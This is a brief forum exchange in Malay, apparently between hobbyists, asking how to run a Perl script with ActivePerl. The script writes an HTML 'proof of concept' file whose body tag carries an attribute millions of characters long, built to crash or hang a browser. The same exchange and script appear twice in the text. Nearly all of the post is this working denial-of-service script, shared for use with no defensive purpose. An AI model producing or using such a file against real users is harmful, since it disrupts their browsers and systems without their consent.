Home
johnburn, aku da brjaye install activeperl tu,
tp mcm mane nk runkn scrip ni kt perl packet manager?
$file="poc.html";
$poc='a/' x 10000000;
open(myfile,">>$file");
print myfile '<head><meta http-equiv="refresh" content="1; url=http://www.google.com"></head>';
print myfile "<body alink=";
print myfile $poc;
print myfile '">';
close(myfile);
print "Finished\n";
@hampeh
sharing is caring, huhu
tp mcm mane nk runkn scrip ni kt perl packet manager?
$file="poc.html";
$poc='a/' x 10000000;
open(myfile,">>$file");
print myfile '<head><meta http-equiv="refresh" content="1; url=http://www.google.com"></head>';
print myfile "<body alink=";
print myfile $poc;
print myfile '">';
close(myfile);
print "Finished\n";
@hampeh
sharing is caring, huhu
